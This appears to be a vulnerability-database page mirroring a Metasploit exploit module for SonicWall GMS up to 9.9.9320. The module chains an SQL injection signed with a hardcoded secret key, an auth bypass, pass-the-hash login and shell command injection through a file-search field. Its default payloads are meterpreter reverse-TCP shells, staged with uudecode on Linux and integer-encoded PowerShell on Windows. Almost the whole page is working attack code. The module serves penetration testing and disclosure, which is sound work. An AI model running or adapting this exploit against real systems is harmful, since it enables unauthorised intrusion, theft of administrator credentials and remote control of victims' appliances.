Lucene search
K

Sonicwall GMS 9.9.9320 Remote Code Execution

🗓️ 08 Sep 2023 00:00:00Reported by Ron Bowes, fulmetalpackets, metasploit.comType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 594 Views

Exploits SonicWall GMS <= 9.9.9320 auth bypass, SQL injection, shell injection for remote code executio

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
CVE-2023-34127
13 Jul 202300:00
attackerkb
Circl
CVE-2023-34124
13 Jul 202315:09
circl
Circl
CVE-2023-34127
13 Jul 202307:42
circl
Circl
CVE-2023-34132
8 Sep 202310:11
circl
Circl
CVE-2023-34133
13 Jul 202315:09
circl
CNNVD
SonicWALL Analytics和GMS SQL注入漏洞
13 Jul 202300:00
cnnvd
CNNVD
SonicWALL Analytics和GMS 安全漏洞
13 Jul 202300:00
cnnvd
CNNVD
SonicWALL Analytics和GMS 操作系统命令注入漏洞
13 Jul 202300:00
cnnvd
CNNVD
SonicWALL Analytics和GMS 授权问题漏洞
13 Jul 202300:00
cnnvd
CVE
CVE-2023-34124
13 Jul 202300:14
cve
Rows per page
`##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html  
  
# We can actually use the title to identify which platform we're on  
TITLE_WINDOWS = 'SonicWall Universal Management Host'  
TITLE_LINUX = 'SonicWall Universal Management Appliance'  
  
# Secret key (from com.sonicwall.ws.servlet.auth.MSWAuthenticator)  
SECRET_KEY = '?~!@#$%^^()'  
  
prepend Msf::Exploit::Remote::AutoCheck  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStager  
  
def initialize(info = {})  
super(  
update_info(  
info,  
'Name' => 'Sonicwall',  
'Description' => %q{  
This module exploits a series of vulnerabilities - including auth  
bypass, SQL injection, and shell injection - to obtain remote code  
execution on SonicWall GMS versions <= 9.9.9320.  
},  
'License' => MSF_LICENSE,  
'Author' => [  
'fulmetalpackets <[email protected]>', # MSF module, analysis  
'Ron Bowes <[email protected]>' # MSF module, original PoC, analysis  
],  
'References' => [  
[ 'URL', 'https://www.rapid7.com/blog/post/2023/07/13/etr-sonicwall-recommends-urgent-patching-for-gms-and-analytics-cves/'],  
[ 'CVE', '2023-34124'],  
[ 'CVE', '2023-34133'],  
[ 'CVE', '2023-34132'],  
[ 'CVE', '2023-34127']  
],  
'Privileged' => true,  
'Targets' => [  
[  
'Linux Dropper',  
{  
'Platform' => ['linux'],  
'Arch' => [ARCH_X64],  
'Type' => :dropper,  
'DefaultOptions' => {  
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp',  
'WritableDir' => '/tmp'  
}  
}  
],  
[  
'Windows Command',  
{  
'Platform' => ['win'],  
'Arch' => [ARCH_CMD],  
'Type' => :cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/windows/http/x64/meterpreter/reverse_tcp',  
'WritableDir' => '%TEMP%'  
}  
}  
],  
[  
'Linux Command',  
{  
'Platform' => ['linux', 'unix'],  
'Arch' => [ARCH_CMD],  
'Type' => :cmd,  
'DefaultOptions' => {  
'PAYLOAD' => 'cmd/unix/generic'  
}  
}  
],  
],  
'DefaultTarget' => 0,  
  
'DisclosureDate' => '2023-07-12',  
'Notes' => {  
'Stability' => [CRASH_SAFE],  
'Reliability' => [REPEATABLE_SESSION],  
'SideEffects' => [ARTIFACTS_ON_DISK]  
},  
'DefaultOptions' => {  
'SSL' => true,  
'RPORT' => '443'  
}  
)  
)  
  
register_options(  
[  
OptString.new('TARGETURI', [ true, 'The root URI of the Sonicwall appliance', '/']),  
]  
)  
  
register_advanced_options([  
# This varies by target, so don't define the default here  
OptString.new('WritableDir', [true, 'A directory where we can write files']),  
])  
end  
  
def check  
vprint_status("Validating SonicWall GMS is running on URI: #{target_uri.path}")  
res = send_request_cgi(  
'uri' => normalize_uri(target_uri.path),  
'method' => 'GET'  
)  
  
# Basic sanity checks - the path should return a HTTP/200  
return CheckCode::Unknown('Could not connect to web service - no response') if res.nil?  
return CheckCode::Unknown("Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200  
  
# Ensure we're hitting plausible software  
return CheckCode::Detected("Running: #{::Regexp.last_match(1)}") if res.body =~ /(SonicWall Universal Management Suite [^<]+)</  
  
# Otherwise, probably safe?  
CheckCode::Safe('Does not appear to be running SonicWall GMS')  
end  
  
# Exploits CVE-2023-34133 (SQL injection) + CVE-2023-34124 (auth bypass) to  
# get a password hash  
def get_password_hash  
# attempt a sqli.  
vprint_status('Attempting to use SQL injection to grab the password hash for the superadmin user...')  
  
# SQL injection question to fetch the admin password  
query = "' union select " +  
  
# This must be a valid DOMAIN, which we can thankfully fetch from the DB  
'(select ID from SGMSDB.DOMAINS limit 1), ' +  
  
# These fields don't matter  
"'', '', '', '', '', " +  
  
# This field is returned, so use it to get the id and password for our  
# the super user, if possible  
"(select concat(id, ':', password) from sgmsdb.users where active = '1' order by issuperadmin desc limit 1 offset 0)," +  
  
# The rest of the fields don't matter, end with a single quote to finish with a clean query  
"'', '', '"  
vprint_status("Generated SQL injection: #{query}")  
  
# We need to sign our query with the SECRET_KEY  
token = Base64.strict_encode64(OpenSSL::HMAC.digest(OpenSSL::Digest.const_get('SHA1').new, SECRET_KEY, query))  
vprint_status("Generated a token using built-in secret key: #{token}")  
  
# Build the URI  
# Note that encoding space to '+' doesn't work, so we replace it with '%20'  
uri = normalize_uri(target_uri.path, 'ws/msw/tenant', CGI.escape(query).gsub(/\+/, '%20'))  
  
# Do it!  
print_status('Sending SQL injection request to get the username/hash...')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => uri,  
'headers' => {  
'Auth' => '{"user": "system", "hash": "' + token + '"}'  
}  
)  
  
# Sanity checks  
fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?  
fail_with(Failure::UnexpectedReply, "Unexpected HTTP response code: #{res.code}") if res.code != 200  
fail_with(Failure::UnexpectedReply, "Service didn't return a JSON response") if res.get_json_document.empty?  
  
# This field has the SQL injection response  
hash = res.get_json_document['alias']  
  
# If the server responds with an error, it has no 'alias' field so the key  
# is missing entirely (this is where it fails against patched targets)  
fail_with(Failure::NotVulnerable, "SQL injection failed - service probably isn't vulnerable (or isn't configured)") if hash.nil?  
  
# If alias is present but contains nothing, that means our query got no  
# results (probably there are no active users, or something?)  
fail_with(Failure::UnexpectedReply, 'SQL injection appeared to work, but no users returned - server might not have an admin account?') if hash.empty?  
  
# If there's no ':' in the response, something super weird happened  
fail_with(Failure::UnexpectedReply, 'SQL injection returned the wrong value: no username or hash') if !hash.include?(':')  
  
username, hash = hash.split(/:/, 2)  
print_good("Found an account: #{username}:#{hash}")  
  
[username, hash]  
end  
  
# Exploits CVE-2023-34132 (pass the hash)  
def authenticate(username, hash)  
# Grab server hashing token  
vprint_status('Grabbing server hashing token...')  
res = send_request_cgi(  
'method' => 'GET',  
'uri' => normalize_uri(target_uri.path, '/appliance/login'),  
'keep_cookies' => true  
)  
fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?  
  
# Look for the getPwdHash function call, as it contains the token we need  
if res.body.match(/getPwdHash.*,'([0-9]+)'/).nil?  
fail_with(Failure::UnexpectedReply, 'Could not get the server token for authentication')  
end  
  
server_token = ::Regexp.last_match(1)  
vprint_status("Got the server-side token: #{server_token}")  
  
# Generate the client_hash by combining the server token + the stolen  
# password hash  
client_hash = Digest::MD5.hexdigest(server_token + hash)  
vprint_status("Generated client token: #{client_hash}")  
  
# Send the token  
print_status('Attempting to authenticate with the client token + password hash...')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),  
'keep_cookies' => true,  
'vars_post' => {  
'action' => 'login',  
'clientHash' => client_hash,  
'applianceUser' => username  
}  
})  
  
fail_with(Failure::Unreachable, 'Could not connect to web service - no response') if res.nil?  
  
# Check the title to make sure it worked  
html = res.get_html_document  
title = html.at('title').text  
  
# We can identify the platform based on the title  
if title == TITLE_LINUX  
print_good("Successfully logged in as #{username} (Linux detected!)")  
return Msf::Module::Platform::Linux  
elsif title == TITLE_WINDOWS  
print_good("Successfully logged in as #{username} (Windows detected!)")  
return Msf::Module::Platform::Windows  
end  
  
fail_with(Failure::UnexpectedReply, "Authentication appears to have failed! Title was \"#{title}\", which is not recognized as successful")  
end  
  
def execute_command_windows(cmd)  
vprint_status("Encoding (Windows) command: #{cmd}")  
  
# While this is a shell command injection issue, an aggressive XSS filter  
# prevents us from using a lot of important characters such as quotes and  
# plus and ampersands and stuff. We can't even use Base64, because we can't  
# use the + sign!  
#  
# We discovered that we could encode the command as integers, then use  
# powershell to decode + execute it, so that's what this does.  
cmd = "cmd.exe /c #{Msf::Post::Windows.escape_powershell_literal(cmd).gsub(/&/, '"&"')}"  
encoded_cmd = "powershell IEX ([System.Text.Encoding]::UTF8.GetString([byte[]]@(#{cmd.bytes.join(',')})))"  
  
# Run the command  
vprint_status("Running shell command: #{cmd}")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),  
'keep_cookies' => true,  
'vars_post' => {  
'action' => 'file_system',  
'task' => 'search',  
'searchFolder' => 'C:\\GMSVP\\etc\\',  
'searchFilter' => "|#{encoded_cmd}| rem "  
}  
})  
  
# This doesn't work, because our payload blocks and it eventually fails  
fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty?  
fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found')  
  
print_good('Payload sent!')  
end  
  
def execute_command_linux(cmd)  
vprint_status('Encoding (Linux) payload')  
  
# Generate a filename  
payload_file = File.join(datastore['WritableDir'], ".#{Rex::Text.rand_text_alpha_lower(8)}")  
  
# Wrap the command so we can execute arbitrary commands. There are several  
# difficulties here, the first of which is that we don't have much in the  
# way of tools. We're missing curl, wget, base64, python, ruby, even perl!  
# The best tool I could find for staging a payload is uudecode, so we use  
# that. (I noticed later that telnet exists, which could be another option)  
#  
# The good news is, with uudecode, we can send a base64 payload. The bad  
# news is, we can't use '+', which means we can't use pure base64! To work  
# around that, we replace '+' with '@', then use a bit of Bash magic to  
# put it back! We also can't use quotes, so we have to do a mountain of  
# escaping instead. The default shell is also /bin/sh, so we need to run  
# bash explicitly for the `$()` substitutions to work.  
cmd = [  
# Build a command that runs in bash (but don't use quotes!)  
'bash -c ',  
  
# Escape all this for bash  
Shellwords.escape([  
# Use `uudecode` to get a '+' into a variable  
"PLUS=$(echo -e begin-base64\ 755\ a\\\\nKwee\\\\n==== | uudecode -o-);",  
  
# Build a new uuencode file (encoded in base64) with the payload  
"echo -e begin-base64 755 #{Shellwords.escape(payload_file)}\\\\n",  
  
# Encode the payload as base64, but replace + with a variable  
"#{Base64.strict_encode64(cmd).gsub(/\+/, '${PLUS}')}\\\\n",  
  
# Pipe into uudecode  
'==== | uudecode;',  
  
# Run in the background with coproc  
"coproc #{Shellwords.escape(payload_file)};",  
  
# Delete the payload file  
"rm #{payload_file}"  
].join)  
].join  
  
# Run it!  
vprint_status("Encoded shell command: #{cmd}")  
print_status('Attempting to execute the shell injection payload')  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(target_uri.path, '/appliance/applianceMainPage'),  
'keep_cookies' => true,  
'vars_post' => {  
'action' => 'file_system',  
'task' => 'search',  
'searchFolder' => '/opt/GMSVP/etc/',  
'searchFilter' => ";#{cmd}#"  
}  
})  
  
# This doesn't work, because our payload blocks and it eventually fails  
fail_with(Failure::Unreachable, 'No response to command execution') if res.nil? || res.body.empty?  
fail_with(Failure::UnexpectedReply, 'The server rejected our command due to filtering (the service has very aggressive XSS filtering, which blocks a lot of shell commands)') if res.body.include?('invalid contents found')  
  
print_good('Payload sent!')  
end  
  
def exploit  
# Get the password hash (from SQL injection + auth bypass)  
username, hash = get_password_hash  
  
# Use pass-the-hash to log in using that hash  
detected_platform = authenticate(username, hash)  
  
# Sanity-check the target  
if !datastore['ForceExploit'] && !target.platform.platforms.include?(detected_platform)  
fail_with(Failure::BadConfig, "The host appears to be #{detected_platform}, which the target #{target.name} does not support; please choose the appropriate target (or set ForceExploit to true)")  
end  
  
# Generate a payload based on the target type  
case target['Type']  
when :cmd  
my_payload = payload.encoded  
when :dropper  
my_payload = generate_payload_exe  
else  
fail_with(Failure::BadConfig, "Unknown target type: #{target.type}")  
end  
  
# Run a command, using the platform specified in the target  
if target.platform.platforms.include?(Msf::Module::Platform::Linux)  
execute_command_linux(my_payload)  
elsif target.platform.platforms.include?(Msf::Module::Platform::Windows)  
execute_command_windows(my_payload)  
else  
fail_with(Failure::Unknown, "Unknown platform: #{platform}")  
end  
end  
end  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation